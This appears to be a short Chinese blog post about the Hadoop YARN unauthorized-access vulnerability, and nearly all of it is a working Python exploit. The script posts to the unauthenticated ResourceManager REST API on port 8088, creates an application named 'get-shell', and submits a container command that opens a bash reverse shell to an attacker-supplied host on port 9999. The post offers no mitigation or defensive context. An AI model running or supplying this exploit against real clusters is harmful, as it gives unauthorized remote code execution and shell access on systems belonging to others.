Hadoop_未授權訪問漏洞

# Hadoop 未授權訪問漏洞
==EXP==

#!/usr/bin/env python

import requests

target = 'http://x.x.x.x:8088/'
lhost = 'x.x.x.x' #把本地主機ip放在這裡,在9999端口監聽(使用時刪除註釋)

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容